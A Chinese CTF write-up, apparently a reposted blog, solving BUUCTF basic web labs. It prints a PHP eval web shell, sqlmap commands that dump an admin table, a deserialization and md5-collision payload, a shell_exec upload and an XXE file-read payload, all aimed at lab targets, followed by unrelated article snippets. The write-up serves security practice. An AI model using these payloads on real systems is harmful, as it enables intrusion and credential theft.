【网络安全CTF】BUUCTF(Basic篇)

news2025/1/11 8:11:09

Linux Labs

解题思路:已给用户名密码,直接用ssh工具连接即可获取flag
在这里插入图片描述在这里插入图片描述
查找flag在跟下
在这里插入图片描述
提交完成。

BUU LFI COURSE 1

在这里插入图片描述
访问链接:为php代码审计题,看题目要求构造GET请求读取文件
http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag
在这里插入图片描述
在这里插入图片描述

Upload-Labs-Linux 靶场

在这里插入图片描述
访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。
在这里插入图片描述
选择第一关:查看代码发现为前端js限制文件类型,这种直接使用抓包进行绕过
在这里插入图片描述
准备shell木马文件:

<?php @eval($_POST['caidao']);?>

修改扩展名为.jpg 或.png或.gif
文件上传抓包:
在这里插入图片描述
修改扩展名为php
在这里插入图片描述
文件存放位置:
在这里插入图片描述
在这里插入图片描述
使用蚁剑链接
在这里插入图片描述
在这里插入图片描述
成功获取flag,其他关卡不在说明,通关思路都为上传绕过。

BUU BRUTE 1

在这里插入图片描述
一个登陆框:
在这里插入图片描述
随便输入账号密码:
在这里插入图片描述
提示用户名错误:
在这里插入图片描述
试试常用用户名admin、root、administrator等
发现使用admin作为用户名,提示密码为四位数字。
在这里插入图片描述
使用暴力破解:
使用字典生成器生成4位数密码:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
密码破译为:6490

在这里插入图片描述
在这里插入图片描述

BUU SQL COURSE 1

在这里插入图片描述
明显的sql注入
在这里插入图片描述
使用sqlmap直接爆数据库
在这里插入图片描述加参数 -dbs
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -dbs
在这里插入图片描述
其中news和test比较显眼,查news数据库
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news --tables
在这里插入图片描述
查看admin表内字段

sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin --columns
在这里插入图片描述
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin -C id,password,username --dump
在这里插入图片描述
admin 加密码登陆注意这里不是md5加密,开始看错了,解半天没解出发现是明文存储的,无语。
在这里插入图片描述

BUU CODE REVIEW 1

在这里插入图片描述
代码审计:

在这里插入图片描述
代码片段:

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);  //高亮显示代码

class BUU {
   public $correct = ""; //定义全局变量
   public $input = "";//定义全局变量

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());  //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID,base64_encode为转换为bash64编码
           if($this->correct === $this->input) {  /判断两个属性是否全等
                   echo file_get_contents("/flag");  //若全等,则打印根目录下的flag
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52)
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

第二段代码get参数简单为

http://IP/?pleaseget=1

第一段代码使用空数组绕过,给POST参数

pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

此题详解可以看:https://blog.csdn.net/weixin_43965597/article/details/126381171
在这里插入图片描述

sqli-labs

参考之前写的:https://blog.csdn.net/qq_39583774/article/details/120722112?spm=1001.2014.3001.5501

BUU UPLOAD COURSE 1

在这里插入图片描述
上传实验
这里我传的docx的文件,可以看到变成了jpg的格式
在这里插入图片描述
并看不到文件内容
在这里插入图片描述
使用抓包工具修改包:
在这里插入图片描述
尝试连接:

在这里插入图片描述

测试连接失败:
在这里插入图片描述
使用其他方式,发现这里不对,上传一个phpinfo发现能够执行,但是执行的jpg格式。
在这里插入图片描述

既然能够执行php那我们直接写一个php打印flag即可。

<?php
$output = shell_exec('cat /flag');
echo "<pre>$output</pre>";
?>

上传直接访问即可拿到flag
在这里插入图片描述

BUU BURP COURSE 1

在这里插入图片描述

在这里插入图片描述
打开后直接显示只能本地访问,本地ip的由X-Forwarded-For和X-Real-IP进行构建
这里是使用的X-Real-IP构建的
在这里插入图片描述

在这里插入图片描述

BUU XXE COURSE 1

XXE漏洞是外部实体注入攻击
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
用burp抓包,这里是个xml的提交
在这里插入图片描述

我们在这定义了一个实体 xxe,它将指向/flag 文件,然后我们在 XML 数据中使用 &xxe; 引用这个实体,这样攻击者就可以将该文件中的内容读取到 HTTP 响应中。

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
  <username>&xxe;</username>
  <password>test</password>
</root>

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/514965.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

三极管知识大全

一、三极管的使用 一般可以当做开关管来使用&#xff0c;也可以利用三极管的放大特性&#xff0c;来搭建恒流源&#xff0c;恒压源等等&#xff0c; 三极管当做开关管来使用的话&#xff0c;三极管输出的是高、低、高、低的方波信号 BUCK电源的开关频率在65KHz&#xff0c;也…

【刷题笔记】另类加法+走方格的方案数

一、另类加法 题目&#xff1a; 牛客网链接&#xff1a;另类加法_牛客题霸_牛客网 描述 给定两个int A和B。编写一个函数返回AB的值&#xff0c;但不得使用或其他算数运算符。 测试样例&#xff1a;1&#xff0c;3 返回&#xff1a;4 解析&#xff1a; 因为无法使用算数运算符…

网易云音乐开发--完善video模块

解决多个视频同时播放问题 老样子&#xff0c;npm start开启服务器 说一下问题 现在打开多个视频会让他&#xff0c;同时播放&#xff0c;相当的吵闹。我们只需要一次只有一个视频播放 看文档&#xff0c;我们的思路是点击这个视频&#xff0c;关闭上次视频 我们传入这个id …

shell脚本语言

# 编写一个名为myfirstshell.sh的脚本&#xff0c;它包括以下内容。 #!/bin/bash# 1、包含一段注释&#xff0c;列出您的姓名、脚本的名称和编写这个脚本的目的 # 杨轩 # myfirstshell.sh # 脚本命令的练习# 2、和当前用户说“hello 用户名” echo "hello xuan"# 3、…

Vue生命周期函数执行顺序(使用注意事项)

文章目录 beforeCreatecreatedbeforeMountmountedbeforeUpdateupdatedbeforeDestroydestroyed Vue.js 是一个基于 MVVM 模式的前端框架&#xff0c;它的核心是一个响应式的数据绑定系统。在 Vue.js 中&#xff0c;组件是一个可复用的 Vue 实例&#xff0c;它拥有自己的生命周期…

第二章 进程管理

2.1 进程的引入 2.1.1程序的顺序执行 1.程序的顺序执行 程序是人们要计算机完成特定功能的一些指令序列&#xff0c;是一个按严格次序、顺序执行的操作序列&#xff0c;是一个静态的概念。 如&#xff1a;有一个程序&#xff0c;要求先输入数据&#xff0c;再做相应的计算…

platform_get_resource=NULL内核源码分析

platform_get_resourceNULL内核源码分析 文章目录 platform_get_resourceNULL内核源码分析1.第一步&#xff0c;我们看一下什么情况下platform_get_resource函才会返回NULL,也就是没有获取到资源。2.第二步&#xff0c;因为myled这个设节点会转成了platform_device&#xff0c;…

suricata中DPDK收发包线程模型和配置说明

《基于DPDK收包的suricata的安装和运行》中已经讲过基于DPDK收发包的suricata的安装过程&#xff0c;今天我们来看一下&#xff0c;suricata中DPDK的收发包线程模型以及相关的配置。 1、收发包线程模型&#xff1a; 通过分析代码&#xff0c;suricata中DPDK收发包线程模型如下…

C高级 day03

1.编写一个名为myfirstshell.sh的脚本&#xff0c;它包括以下内容。 1、包含一段注释&#xff0c;列出您的姓名、脚本的名称和编写这个脚本的目的 2、和当前用户说“hello 用户名” 3、显示您的机器名 hostname 4、显示上一级目录中的所有文件的列表 5、显示变量PATH和HOM…

采药 DP 裸01背包 java

&#x1f351; 采药 import java.util.*;class Main{static int N 1010;static int[] f new int[N];public static void main(String[] aaa){Scanner sc new Scanner(System.in);int m sc.nextInt();int n sc.nextInt();for(int i 0; i < n; i){int v sc.nextInt()…

s2021ss62找规律

代码&#xff1a; #include<bits/stdc.h> using namespace std; int n,m,ans; int main() {cin>>n>>m;for(int i1;i<n-1;i)ansi;cout<<ansm;return 0; }

一文了解支付卡行业数据安全标准(PCI DSS 4.0)新要求

在接下来不到一年的时间里&#xff0c;将有越来越多的企业要遵守支付卡行业数据安全标准 (PCI DSS) 4.0 版的多项新要求。 关于 PCI DSS PCI DSS 包含 12 项保护支付卡数据的要求&#xff0c;在过去十年中都没有更新。但经过三年的商讨&#xff0c;现在已经进行了重大改革。 …

JavaScript基础语法篇超详解

目录 一. 什么是JavaScript? 概念 JavaScript可以做的事情 JavaScript和HTML, CSS之间的关系 JavaScript运行过程 二. 基础语法篇 第一个JavaScript程序 JS的书写形式 JS的代码注释 输入输出 变量的使用 变量命名 数据类型 变量的声明和使用 理解动态类型 JS变量类型 JS数组…

一百一十一、Hive——从HDFS到Hive的数据导入(静态分区、动态分区)

一、分区的定义 分区表实际上就是对应一个 HDFS 文件系统上的独立的文件夹&#xff0c; Hive 中的分区就是分目录 &#xff0c;把一个大的数据集根据业务需要分割成小的数据集。 在查询时通过 where 子句中的表达式选择查询所需要的指定的分区&#xff0c;这样的查询效率 会…

【教程】手把手教你用Clion进行STM32开发【如何优雅の进行嵌入式开发】

通过Clion进行嵌入式开发 一、工具安装 1、安装Clion 因为众所周知的原因&#xff0c;Clion的安装就不解释了&#xff0c;有需要的同学自行检索 2、安装STM32CubeMX 正常去官网下载最新版的安装就行了&#xff1a;STM32CubeMX - STM32Cube initialization code generator …

2673. 使二叉树所有路径值相等的最小代价(dfs+bfs)

题目描述 评论 (23) 题解 (54) 提交记录 2673. 使二叉树所有路径值相等的最小代价 难度 中等 14 给你一个整数 n 表示一棵 满二叉树 里面节点的数目&#xff0c;节点编号从 1 到 n 。根节点编号为 1 &#xff0c;树中每个非叶子节点 i 都有两个孩子&#xff0c;分别是左孩子 2 …

image adaptive 3dlut based on deep learning

文章目录 image adaptive 3dlut based on deep learning1. Learning Image-adaptive 3D Lookup Tables for High Performance Photo Enhancement in Real-time2. CLUT-Net: Learning Adaptively Compressed Representations of 3DLUTs for Lightweight Image Enhancement2.1 3d…

平安大视野解读主动健康:以运动改变生命轨迹,以名医权益为健康保驾护航

“每个人都会老&#xff0c;这不可避免&#xff0c;但是能不能老的迟一点&#xff1f;让我们能够活到一百岁还能够运动&#xff0c;不需要别人照顾&#xff0c;这是最大的成功&#xff1b;而科学运动是最关键的方式。”5月6日&#xff0c;在平安私人银行联合平安健康举办的“平…

Echarts使用本地JSON文件加载不出图表的解决方法以及Jquery访问本地JSON文件跨域的解决方法

前言 最近需要做一个大屏展示&#xff0c;需要用原生html5cssjs来写&#xff0c;所以去学了一下echarts的使用。在使用的过程中难免碰到许多BUG&#xff0c;百度那是必不可少的&#xff0c;可是这些人写的牛头不对马嘴&#xff0c;简直是标题党一大堆&#xff0c;令我作呕&…

使用pytest和allure框架实现自动化测试报告优化

目录 -x出现一条测试用例失败就退出测试 生成测试报告json pytest&#xff1a; 需要安装pytest和pytest-html(生成html测试报告&#xff09; pip install pytest 和 pip install pytest-html 命名规则 Pytest单元测试中的类名和方法名必须是以test开头,执行中只能找到test开头…